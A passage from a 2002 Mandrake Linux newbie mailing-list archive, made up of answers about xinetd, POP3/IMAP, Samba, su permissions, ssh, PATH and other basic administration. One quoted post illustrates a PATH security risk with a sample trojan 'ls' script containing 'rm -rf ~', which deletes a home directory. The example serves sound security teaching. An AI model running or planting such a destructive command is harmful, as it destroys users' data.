Actually, sounds like the xinetd rpm isn't installed Try 'rpm -qa | grep xinet' and let us know what pops up. Michael At 02:34 PM 5/14/2002 -0700, you wrote: No such file /etc/rc.d/init.d/xinetd chkconfig --list | grep xinetd comes up empty chkconfig --level 345 xinetd onerrors because there is no xinetd I thought xinetd was installed as a basic part of linux. I think I'll just install http://www.xinetd.org/pub/xinetd/ unless someone hollers back that this is not a good thing. Thanks. Jeanie -Original Message- From: Gerald Waugh [mailto:[EMAIL PROTECTED]] Sent: Tuesday, May 14, 2002 2:18 PM To: [EMAIL PROTECTED] Subject: Re: [newbie] - inetd.conf file? On Tuesday 14 May 2002 04:53 pm, Schwenk, Jeanie wrote: It is not running and there is no /var/run/xinetd.pid. I installed the OS just a couple weeks ago, could something simply not have been installed? what happens if you start it /etc/rc.d/init.d/xinetd start What does chkconfig --list | grep xinetd say? xinetd 0:off 1:off 2:off 3:on4:on5:on6:off If its off in 345 do chkconfig --level 345 xinetd on This will get it to start on boot -- Gerald Waugh http://www.frontstreetnetworks.com :: Phone. [011] 203.785.0699 Front Street Networks LLC | SOHO Networks Web Site Hosting 229 Front Street, Ste. #C, New Haven, CT, 06513-3203 United States Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] deny access to su
Change the group ownership on su to root:wheel . Next, remove execute permission from other on su. Michael -- Michael Viron Core System Administration Team Simple End User Linux At 12:23 PM 5/14/2002 +0800, you wrote: hi, i'm running mandrake 8.2. i would like to deny certain user groups from running su. eg, if i create a group project, and wanna deny all users of project from being able to su. how do i do it? i've tried manually removing users from the wheel group, in /etc/group, but somehow the users can still su. am i doing something wrong? thanks -- Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Nimda
This also goes back to the heart of whether or not it is legal / ethical to shut someone's system down. Blocking access is one thing, trying to shut a server down is quite another in my opinion. I actually did have a script running that would sucessfully block out pretty close to 100% of all nimda related infection attempts via ipchains / hosts.deny . On any server I run, I'm certainly not going to try to shut down the server attempting to infect me. If I did so, I'd be opening myself up to a potential lawsuit from the company running the infected server. Send an e-mail to their admin, or block off their access, but don't shut their machine down. It's a legally questionable move to do that. Michael -- Michael Viron [EMAIL PROTECTED] Core Systems Group Simple End User Linux At 07:10 AM 4/29/2002 -0400, you wrote: Hello, would anyone know where I can find a script that would shut down or stop a nimda infected server? I can no longer tolerate this nimda, blocking does not work, there are some addresses that still get though and I don't know how the little buggers do it, so I want to make my web server send back a command that will shut off the infected server. Thanks to those that can help. Ibly Ibly, Do an archive search for a thread on HoneyPort. I believe you'll find it on the expert archive. You can also find some information if you do a search for Labrea Tarpit on Google. That should help you in what you're looking to do. It will at least trap the incoming connection attempt and keep it from sucking up yer bandwidth/server resources. However, it won't send a term signal back to the offending computer. For that you're going to have to do a little more searching on Google. But those programs are out there. You may also find a few references to programs such as this in the expert archives if you search long enough. Mark Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[newbie] FAQ Listing / why I've not been here
Don't worry fellow list members, I've not gone missing I recently managed (finally) to get some time to start using towards updating / revising my FAQ site (some of it posts to the Redhat lists, some of it on the Mandrake lists). For quite a while now (until recently), I've been without a Mandrake box to actually use to assist in answering questions, since the linux box I was handling administration for has departed. Anyways, since my parents purchased a new dell PC, I now (finally) have my own linux workstation / server, where I can actually take a look / investigate problems again. My latest project is to try to get a linux server installed at work to handle centralized user authentication, and possibly to replace the existing firewall. I've probably convinced my supervisors 99%+ to do it - just a matter now of locating hardware to run it on. The primary reason that I've not been regularly posting to the list is because I've been very busy since I am now working 3 jobs. One is full-time as an IT Manager (ending my 11 month job search), another is part-time somewhere else for benefits (small companies tend not to have heavy benefits packages), and of course, various consulting gigs that I'm trying to finish from before I got hired on. Of course, this doesn't include my after-hours work on stuff like General Education Online (http://www.findaschool.org), the Pensacola Linux Users Group, Academic Web Information Repository (http://www.webspinners.org), Simple End User Linux (http://www.seul.org), and various other projects. Anyways, in the coming days, you'll start seeing posts from me again as I can manage. Michael -- Michael Viron Core Systems Group, Simple End User Linux (Database Web Statistician Admin) Project Manager / Primary Developer, General Education Online Founding Member, Schoolforge President / Founder, Academic Web Information Repository Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Apache server not in browse list
Actually, this would be samba, not apache, since apache is a web server only, not a file-sharing program like samba. Most likely, the problem is occuring because your windows machine and your linux machine are not in the same workgroup or domain. If they aren't, windows won't see the linux box directly in Network Neighborhood -- you'd have to either select Entire Network and then select the other workgroup / domain, or make sure the domains match. Michael -- Michael Viron Core Systems Administration Group Simple End User Linux At 10:10 AM 4/12/2002 -0400, you wrote: I have installed and configured my Apache server. I am not able to see the server in the Net Neighborhood on my Win machines. If I do a search for the IP or hostname (using WINS) the Win machine will find the Apache machine and I can access the shares. This is a Mandrake 8.2 box, configured to use Domain auth. Thanks John Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] What file do I change?
either /etc/bashrc, /etc/profile, or /etc/motd. Michael At 08:10 AM 4/11/2002 -0500, you wrote: Hi all, Running MD 8.2 here. What file would the the root user modify if he wanted the change to be seen by users when they logged in? For example if you wanted them to see a Fortune Cookie message. Thanks Scott Burrows GSBE/EDIView/BSBE OSM Support perotsystems(tm) Office: 407 804-3208 Pager: 407-400-0197 Fax:407-804-3340 E-Mail[EMAIL PROTECTED] Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] How to read and write to a Win XP partition
If it is a NTFS filesystem, the linux kernel only supports read / experimental write on NTFS 4.0. The NTFS which is used by Windows 2k / Win XP is only supported as a read-only filesystem. To share files between Windows and Linux, you are better off to create a FAT32 partition (which has read / write support in linux) and use that to share files. Michael At 10:31 AM 4/10/2002 +0200, you wrote: Hi All, I have Window$ XP installed on sda1 and Mandrake 8.2 on sdb1 how can I mount manually the Window$ partition to enable writing on the XP partition ? I tried to mount the normal way but I can only read. On the message log I get this : Warning! NTFS volume version is Win2k+: Mounting read only Thanks in advance Luca Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Apache + PHP - htdocs?
Try cat /etc/httpd/conf/*.conf | grep DocumentRoot (without the quotes), and it should tell you where it's looking for files. I think the default these days is now /var/www/html which may or may not be a symlink to /home/httpd/html . These files can theoretically be owned by any user, although you are probably better off if they are owned by apache:apache. -- Michael Viron IT Consultant Pensacola, FL At 12:49 PM 4/1/2002 -0500, Andre Dubuc wrote: Having upgraded from LM8.0 to LM8.2, I've switched from source to the pre-compiled editions of Apache and PHP. For the life of me, I can't figure out where my htdocs (the php/html files I've created) should go in LM8.2, and what owner/group they should be listed under. I would greatly appreciate any help, since all of my work for the last two months is in htdocs. Btw, LM8.2 is simply fantastic! Way to go, Mandrake! Tia, Andre Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] POP server need telnet daemon?
At 11:03 PM 3/28/2002 -0700, you wrote: Randy Kramer [EMAIL PROTECTED] spoke thusly: * http://twiki.org/cgi-bin/view/Wikilearn/TestSketch * http://twiki.org/cgi-bin/view/Wikilearn/EmailPostfixTrials These pages didn't really help my specific problem. The final piece of the puzzle for me (I hope) was how to set up a pop (and imap) server under xinetd (sp?). Does POP run independently of Postfix? I didn't think so. If so, how -do- you get it running? Yes, pop does run independently of postfix. POP3d is a binary included in the imap-* packages, which is controlled by the xinetd superdaemon. The steps to getting a working pop3 server are: 1. Make sure that xinetd is installed. If it isn't, install it. 2. Make sure that all imap-* packages are installed. If they aren't, install them. 3. Make sure that the /etc/xinetd.d/pop3 file is not set as disabled -- if it is, enable it. 4. Finally, restart xinetd. You should now have a working pop3 server. If it still doesn't work, check the following: 1. Verify that xinetd is running. 2. Verify that pop3 is running (ps / netstat are your friends). 3. Try connecting from the local machine -- if it doesn't work, then you have some type of configuration issue, quite possibly with hosts.deny 4. If you get a successful connect from the local machine, check remote connectivity (ie, from another machine). If it doesn't work, there is either an issue with /etc/hosts.deny or one of the rules in your firewall (if you have one in place). 5. Make sure that the username / password is a valid account on the mail server. If you are still having problems, send the relevant error messages from your logs to the list...it is much easier to give more specific ideas if we know exactly what the problem is. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] POP server need telnet daemon?
No, telnetd is not required by the pop3 server, although xinetd is. Michael -- Michael Viron Core System Administration Team, Simple End User Linux At 11:04 PM 3/28/2002 -0700, you wrote: Actually, my question was whether I need the telnetd--the daemon. But I expect the answer's still no, eh? Miark Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Answers to the Geek vs the rest dilemma.
4. Pro Geek. Makes an actual living as technician in the field. Highly paid for his (rarely her) work, if ANY good at all, due to general great lack of competence in the technical area. Always extremely busy. Extremely poor communicators. Need to simply be given the job to do. Never ask them questions. Not necessarily true -- there are some people who are making a living as a technician or more generally, in information technology, and are quite capable of communicating their ideas effectively in a way that non-geeks can understand. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Feel like joining in?
I already have something semi-geared towards that, although it has largely been dormant for the last year or so (since I've been busy with other projects I'm involved with). It's tentatively titled 'Academic Web Information Repository' -- although I'm certainly not glued to the name. If any of you are thinking along those lines, let me know and I'll start investing at least some time into it. Michael -- President / Founder, Academic Web Information Repository Project Manager / Primary Developer, General Education Online Database Administrator / Web Statistician, Simple End User Linux. At 10:28 PM 3/12/2002 +0100, you wrote: Hello fellow Linux users, An idea popped into my head tonight and I want to do something with it rightaway. So let me explain. I'm relatively new to Linux and I got my LM 8.1 distro running for a couple of weeks now very smoothly (most of the times). I visited a lot of Linux related websites and it impressed me to see how many ways there must be to develop really cool open source software. At this point I'm particulary interested in learning the skills to built a dynamic website with underlying database technology. Only it seems I have 2 problems. I'm not so creative in coming up with a topic and I don't want to spend the whole year figuring out MySQL, PHP etc.. on my own locked away behind my desk. So here's the idea. There must be more people with the same ambitions, so why don't we try to come up with ideas to make this work as a group. We could build a website about making OUR website (this tackles the topic problem), so everybody (including ourselves) can see how we did it and learn from it. Off course we would make use of open source software. I'm an Oracle programmer myself and I don't have any experience in building something the open source way, so who is joining in? I hope that also the more experienced persons care to join in and let others profit from your experience. We need to come up with some sort of structure to do this, get a server to which the group can have access I suppose and what more..? Well, surprise me. Oh yeah, I live in Haarlem, the Netherlands. Marco Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
[newbie] Frequently Asked Questions
My start on the frequently asked questions has moved due to a policy change by the group who was formerly handling website storage for my website. (They converted their linux servers to part of an all-Windows design lab by direction of the higher-ups in the dept sponsoring their group). They are now available at http://findaschool.org/~mviron/faqs/ -- especially http://findaschool.org/~mviron/faqs/linux.php and http://findaschool.org/~mviron/faqs/redhat.php . Michael Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Leaving system running
Leaving the system like that, is okay if you are the only person in the room, or the only one with access. It is more of a security concern when you are running the system as a workstation in an office building where more than 1 person has physical access to the machine. Anyways, if you are going to leave an account logged in on the machine, especially if it is in an unsecured room, you should make sure that you lock the machine. Better still is to log out, since that way, there is no chance that you might leave the computer running, and forget to lock the display. Michael -- Michael Viron Registered Linux User #81978 [EMAIL PROTECTED] http://findaschool.org/~mviron At 09:25 AM 3/10/2002 -0800, you wrote: my system runs 24/7 right where i leave it. if i am writing a webpage or composing email, that is where i leave it. i usually have 3-5 konqi's running, kmail, and a couple of kword or abiword, often also opera is running, and setiathome is always on. by the way, setiathome is great way to do something while your machine is not in use by you. if the other distributed computing efforts write some linux apps you could try them too. http://setiathome.ssl.berkeley.edu/ if you are connected to the internet, be sure you have a firewall of somekind. i have both a hardware solution in my router and a firewall On Saturday 09 March 2002 23:23, Greg opened a hailing frequency and transmitted: Hi everyone I was wondering how a system should be left running if it is connected to the internet and what is best for the operating system I have a home built box running 8.1 and i leave it at the log in screen for KDE is that a good way to leave the system when not being used Thanks Greg -- My job is bring comfort to the disturbed, and disturb the comfortable. shane http://shentzu.home.mindspring.com/ Proud to be a DMOZ editor since 10-98 http://dmoz.org/ cause humans do it better! Profile at: http://dmoz.org/profiles/shen.html Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] samba - online books?
And, the one no one has mentioned yet, http://www.samba.org has all kinds of very useful information regarding samba -- after all, it's the website of the people who are working on samba in the first place. Michael -- Michael Viron Registered Linux User #81978 [EMAIL PROTECTED] http://findaschool.org/~mviron At 07:03 PM 3/10/2002 +0100, you wrote: Is there any good book or other document on samba on the net? Thanks in advance, Stojs Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] IMAP+Postfix
Top get IMAP up and running: 1. Make sure that imap-.i586.rpm is installed. If it isn't, you won't be running either an imap or pop3 server. 2. Make sure that xinetd-*.rpm is installed. If it's not, you aren't going to be running any servers managed by the inetd super-daemon. 3. Next, edit /etc/xinetd.d/imap* -- since I'm not in front of a Mandrake 8.1 PC at the moment, I'm guessing at the filename -- regardless, it will be somewhere under /etc/xinetd.d/ and will begin with imap, making sure that you don't have a disable line in there. 4. restart xinetd, and try connecting via imap with a valid user account. If it still doesn't work, send another e-mail to the list, with the specific problem you are encountering. Finally, try not to send in HTML, as it really screws up the formating on your message, and annoys people on the list. -- Michael Viron [EMAIL PROTECTED] Independent Consultant / Web Developer Registered Linux User #81978 http://findaschool.org/~mviron At 08:44 AM 03/06/2002 -0400, you wrote: How can I setup the IMAP server?. I running Mandrake Prosuite 8.1 Please, step by step Thanks Lucas Aguilera [EMAIL PROTECTED] Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Mandrake memory capacity
For 8.1, you need to install the enterprise version of the kernel, which is compiled for more than 1 GB of ram. Not sure what the max on it is...I think it was well over 2 GB, though. Michael -- Michael Viron Registered Linux User #81978 [EMAIL PROTECTED] http://findaschool.org/~mviron At 06:53 PM 3/7/2002 +0100, you wrote: I may be wrong about this, but I think its possible to compile support for that much ram into the kernel, but its not done by default. Does anyone know what the limit is for Mandrake's memory capacity. I installed Mandrake 8.1 with 2GB of RAM, were doing a lot of compiling here and it will only recognize 1GB! I was just curious on whether or not it would utilize that other 1GB of RAM. Bryce Johnson (RC)2 Technologies Group Exploration Services Division, Veritas DGC Inc. 9177 E. Mineral Circle Suite 100, Englewood CO, 80112 303-749-7920 (http://www.veritasdgc.com) Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] how to open IMAP port?
At 10:18 AM 03/02/2002 -0800, Steve Weltman wrote: On Saturday 02 March 2002 09:53 am, you wrote: I'm trying to set up Squirrelmail so I can have access to my mail via web interface It requires IMAP, which I believe I have running, but when I try to log in I get an error about contacting the mail server I had my ports probed and that revealed that POP3 and IMAP are closed I checked my Tiny firewall config and I have told it that I am running a mail server I also told it I want to allow telnet, but when trying to telnet I get a connection refused Are you allowing Telnet to run as a service? You can tell if you look at this command: ps -aef |grep tel* or try telnet to your loopback address (127001) IF it's refused, you are not running the telnet server service Actually, if it is refused there are several possible problems: 1 It isn't installed Do an rpm -qa | grep telnet and verify that telnet-server is installed 2 It isn't being run Check the /etc/xinetdd/telnet file to make sure that it is not disabled Also run /etc/rcd/initd/xinetd status to make sure that xinetd is running 2 It is being blocked by the firewall on the box Check your firewall config 3 It is being blocked via hostsdeny Take a look at /etc/hostsdeny and /etc/hostsallow If you intend to use telnet, may I suggest using SSH (you need to load the SSH services and this is on the CDs from 81 in RPM format) It's more secure and is gaining alot of popularity as a connecting protocol over telnet which isn't secure at all The telnet installed by default in Mandrake 81 isn't secure, although there is a package somewhere for stelnet (I think that's the name) -- or a telnet going through an ssh tunnel Of course, I would tend to agree that telnet isn't the most secure way of doing things I'm confused as to why I can't use POP3, IMAP, and telnet Would this have something to do with my ISP (RoadRunner)? If port 25 is not open in the firewall you can't send mail to another machine (unless you configured your MTA to send with another port and that port is opened instead) If port 110 is not opened, you cannot receive mail, unless you are using another port (defined from the upstream MTA's administrator) Nope 110, which is pop3, is for remote access from a client to the mailbox on the server It has nothing to do with the delivery of e-mail Delivery of e-mail either when it is being sent or *received* is processed through smtp (which is handled, depending on your setup, by postfix, sendmail, qmail or something else) You can and should have 110 closed to the outside world (since it sends in plain text, just like telnet), leaving it open to just your internal network (See http://ebopediacom/TERM/P/POP2html as well as http://ebopediacom/TERM/S/SMTPhtml ) You usually can find out the needs of the mail from your ISP (Roadrunner) If you are configured correctly in your mail program(s), make sure you can open the ports on your firewall software (Tiny Firewall) for the above mentioned ports) on an INCOMING ACCEPT and OUTGOING ACCEPT basis The telnet sessions may be blocked from outgoing by your firewall (port 23) and depending on your destination, could be blocked there as well I recommend that you read the firewall-howto and ethernet-howto so you can see in clearly defined terms where I am saying to open this port and that port Best of luck!! Steve Weltman Network Eng Absolute Networks Los Angeles, CA (I'm running 81) Thanks, Todd _ Do You Yahoo!? Get your free yahoocom address at http://mailyahoocom Want to buy your Pack or Services from MandrakeSoft? Go to http://wwwmandrakestorecom Want to buy your Pack or Services from MandrakeSoft? Go to http://wwwmandrakestorecom
Re: [newbie] how to open IMAP port?
Nope -- it's actually a standalone process, which can be turned on via /etc/rc.d/init.d/sshd start or via webmin. Make sure that you have all openssh packages installed (including openssh-server). Michael -- Michael Viron Registered Linux User #81978 [EMAIL PROTECTED] http://findaschool.org/~mviron At 08:08 PM 03/02/2002 -0500, you wrote: On Saturday 02 March 2002 02:54 pm, Todd Slater wrote: I have openssh installed, but I can't figure out how to start it. I typed sshd and I get errors: Could not load host key: /etc/ssh/ssh_host_key Could not load host key: /etc/ssh/ssh_host_rsa_key Could not load host key: /etc/ssh/ssh_host_dsa_key Disabling protocol version 1. Could not load host key Disabling protocol version 2. Could not load host key sshd: no hostkeys available -- exiting Is there a way to start the service in Control Center, or with Webmin? ssh is normally not operated in daemon mode. it only runs when someone uses it (inet or xinet process) use ssh -l usrname server.domain.tld -- Gerald Waugh Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] boot.img to floppy?
depends on if you are using a windows or linux system. If it's windows, try rawritewin under dosutils. If it's linux, cd to that directory and type 'dd if=boot.img of=/dev/fd0' . Michael At 09:11 PM 02/21/2002 -0500, you wrote: How would copy a boot.img file to a floppy? Not just copy, but so it would work to boot my PC. Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Set Backup
This is because '.' (the current directory) is not included in $PATH by default for security reasons. Hence, to run 'backup' from within ~chuck, the command would be './chuck' . Otherwise it will search the current $PATH. Michael -- Michael Viron [EMAIL PROTECTED] Project Manager / Primary Developer / Schoolforge Representative General Education Online At 02:27 PM 02/17/2002 +0900, Charles Muller wrote: Obviously, I am somewhat dense, but after all the feedback on creating an executable file to run my backups, apparently I am still missing something. I created a text file named backup which I have placed in my home directory, named /home/chuck. The file contains the following lines: --- #!/bin/bash tar cvzfP /mnt/win_d/linux-bak/home.tar.gz /home tar cvzfP /mnt/win_d/linux-bak/evol.tar.gz /evolution -- After creating this file, I tried to make it executable by typing chmod +x backup while in the same directory. I assume this worked since no error messages were generated. I had thought that I could run this file by going to the /chuck directory and typing the file name. But it doesn't run. I get the response: bash: backup: command not found Can someone tell me what I am missing here? I am sorry to be so slow. Thanks again, Chuck On Fri, 15 Feb 2002 09:31:09 - Barran, Richard [EMAIL PROTECTED] revealed these words to me: Speaking as a newbie... I thought scripts had to end with a .sh? Or is that just a convention? Also, when I want to run a script I've written myself, I just change to the directory the script is kept in, and type the script name. I don't prefix it with a ./ Am I missing something here? Thanks, Richard .sh is just a convention so users can see what interpreter is to be used with the script ( .csh, .ksh, .py are some of the other endings but the list does not end there). you could make it end in '.nonsense' and it will be executed by the interpreter specified by its first line (i.e #!/bin/bash), or if it is still missing, the current interpreter (which is your shell). echo your PATH environment ( $ echo $PATH ) and see if there is a lone dot in the resulting list of colon-delimited directories. i assume you have it which is considered by many to be a security risk. the default setting is to exclude the current directory from the PATH variable to limit the potential of running a malicious executable placed in a directory which is named after a common utility. here is a scenario. assuming your PATH variable looks like this .:/bin/:/usr/local/bin:... and an intruder with 'maliscious intent' ( a hacker or a friend trying to put a trick on you) got an access to your account and created a script containing the following code: #!/bin/bash rm -rf ~ echo Hi, you just toasted you home directory! Have a nice day. and saved it on your home directory with the filename 'ls' with matching execute permissions. then you log-in, was put in your home directory. you issued ls to get a directory listing. since bash will be looking first for a ls executable in the current directory (look at the PATH variable), you could just guess how big the intruder's smile would be after that moment. *grin* ciao! -- Programming, an artform that fights back. = Anuerin G. Diaz Design Engineer Millennium Software, Incorporated 2305 B West Tower, Philippines Stocks Exchange Center, Exchange Road, Ortigas Center, Pasig City Tel# 638-3070 loc. 72 Fax# 638-3079 = Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] @ *
The '*' indicates that the file is an executable or has the 'executable' bit set (ie, rwx or r-x). The '@' indicates that it is a link to a different file, located in a different directory. Michael -- Michael Viron [EMAIL PROTECTED] Project Manager / Primary Developer / Schoolforge Representative General Education Online At 04:48 PM 02/17/2002 +1300, Walter Logeman wrote: Hi, What do the * and the @ denote after a file - as in the following listing: 998 walter@psybernet:/sbin (04:45:25) $ ls agetty*ether-wake* ifup* killall5* mkfs.msdos@ -- Walter Logeman Psychotherapist http://www.psybernet.co.nz Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] group permissions
This depends on what exactly you mean to do. Do you mean to change the group of all files / subdirectories of the directory? If so, you can use 'chgrp -R newgroup directoryname'. Do you want to change only the ownership of the directory itself? Use 'chgrp newgroup directoryname'. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 02:07 AM 02/14/2002 -0800, you wrote: Could someone post an example showing how to change permissions for a certain group. Example: I have a group by the name of anonymous with one user name anonymous belonging in the group. I want to be able to set permissions for group anonymous on certain directories. If someone could post an example I would greatly appreciate it. Mithrilhall _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] finding my ip
Yes. Or at the very least, it is the IP that you currently have leased from the dhcp server. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 10:33 AM 02/12/2002 -0500, you wrote: Is the ip address that shows up when I run ifconfig my real ip address? I connect via adsl i get assigned dynamic ip's, but how do I find out what my real ip address is right now? - Paul _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Permissions: Nobody in Apache + PHP
There are several things to check For example which user / group owns /tmp? What are the read / write permissions on /tmp? If nobody does not have write privileges to /tmp, the file will not get updated. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Alumni Representative, Online Operations Web Spinners, University of West Florida At 03:14 PM 02/09/2002 -0500, Andre Dubuc wrote: Finally, I have working copies of Apache 1.3.22 and PHP 4.1.1 on my LM8.0 box. Apache has been set up with nobody' permissions, and I write test scripts as root and place them in /home/web/apache/htdocs. I can read scripts from this directory, but I've tried to use: . . . excerpt . . . $filename = /tmp/graffiti.dat; $handle = fopen ($filename, a+); fputs ($handle, $graffiti); [I've also tried fwrite] fclose($handle); . . . followed by a form that takes $graffiti as input . . . and then a php script that displays the contents of the appended $filename . . . And no matter what I try, nothing is written to graffiti.dat -- I've checked that it is writeable. Somehow, I think it's related to permissions and the group nobody. I've written the script as root, and another as user. Neither works. Apache (temporarily) is run at root -- I'm just learning Apache and PHP -- this is a developmental setup, not connected to the outside. If there are any gurus that can help me, I'd appreciate it. Permissions are set otherwise to 755. I'm obviously not clear on the concept of nobody and how it affects running of scripts. Who cn arun these, if it's set to nobody? Tia, Andre -- Please pray the Holy Rosary to end the holocaust of abortion. Remember in your prayers the suffering souls in Purgatory. May God bless you abundantly in His love! For a free Cenacle Scriptural Rosary Booklet -- http://www.webhart.net/csrb/ Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Permissions: Nobody in Apache + PHP
If you want to know why 'nobody' is not singled out as a specially restricted user then I can only give you my explanation and I don't know how authoritative that is. Firstly the Unix model says there are two types of users: superusers (uid=0) and ordinary users (uid!=0). I'd modify this to say that superusers have uid / gid equal to 0, while 'ordinary' users have uid / gid not equal to 0. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Reboot..how often
I've seen servers that have uptime measured in a few hundred days with no problems at all (I've personally admined one that was up for almost 3 months before we had downtime due to a power outage). About the only time that you should have to reboot (or shutdown) the system is either when you upgrade hardware or update the kernel. Other than that, there isn't a need to. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 09:34 PM 01/29/2002 -0800, you wrote: I run a linux server, that hosts multiple chat servers. I used to do this on Windows 2000 and required a reboot at least once a week. I am curious now that I've switched to Mandrake Linux 8.1 how often should I reboot to clear things out to avoid unwanted down times, here is my uptime information 10:30pm up 12 days, 2:01, 1 user, load average: 0.00, 0.00, 0.00 If I know how often It needs to rebooted I could setup a script to do it and tell my customers that its down every blah blah time for a blah blah amount of time... ?? Any ideas? Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
RE: [newbie] Trouble De-Installing Linux on Dual OS computer
Charles, Actually, you won't be able to remove the ext2 partitions with windows fdisk. What needs to happen is boot using something similar to tom's root / boot disk (link should be off the distribution page of linux.org) or into your linux install, run linux fdisk as root, remove all ext2 partitions. Boot into windows, run 'fdisk /mbr' (note, this is windows fdisk) -- at that point, you will have cleaned linux off your computer completely. This is, of course, the same set of instructions that civilme and myself have sent to the list countless times. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 07:48 PM 01/27/2002 +0900, you wrote: Martijn asked,How can I de-install Linux??? color=#ff size=4 color=#ff size=4There are probably many people who will give you better advice than I can on how to do this. If it were me, I'd probably end up having to boot up with Windows boot disks and use Fdisk to reformat the drive and reset the partitions. Or, if you have Windows still installed and accessible, you can wipe out the Linux partitions with the disk manager and reformat them to FAT or whatever you are using, and then reinstall Linux. color=#ff size=4color=#ff size=4One thing I found useful, however, before starting any work of this sort, is to use a disk imaging program like Norton Ghost to make an image of your drives before you start. Then if anything goes wrong, you can put in the Ghost boot disk and the CD you made, and return everything the way it was in 15 minutes. Charles Muller Toyo Gakuen University Digital Dictionary of Buddhism and CJK-English Dictionary http://www.acmuller.net Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] Starting Apache + PHP
Take a look at http://www.devshed.com/Server_Side/PHP/SoothinglySeamless/page1.html , which guides you step by step through setting up an apache web server, along with mysql, php, and mod_ssl. Michael -- Michael Viron Registered Linux User #81978 Senior Systems Administration Consultant Web Spinners, University of West Florida At 09:53 AM 01/26/2002 -0500, Andre Dubuc wrote: I'm not even sure how to ask this: that's how abysmal my knowledge of servers. I would like to learn scripting in PHP, and I need to run an Apache server to test the code. I've installed (in LM 8.0) all the appropriate Apache programs and modules, and all the PHP related stuff. In the LinuxConf - Service Control, I notice that apache is not listed, and both httpd and webmin are running. What do I have to do to get a working server so that I can test any code that I write in html/php? (Can I use my only computer as a stand-alone server, and access it as a client? I assume that I should be able to do something like that especially since freeciv sets up server/client on my machine.) If someone could point me in the right direction, it would save me wading through tons of documentation that assumes I have Apache up-and-running! Help? Tia, Andre -- Please pray the Holy Rosary to end the holocaust of abortion. Remember in your prayers the suffering souls in Purgatory. May God bless you abundantly in His love! For a free Cenacle Scriptural Rosary Booklet -- http://www.webhart.net/csrb/ Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com Want to buy your Pack or Services from MandrakeSoft? Go to http://www.mandrakestore.com
Re: [newbie] good 486 distr? (was: trouble installing 8.0)
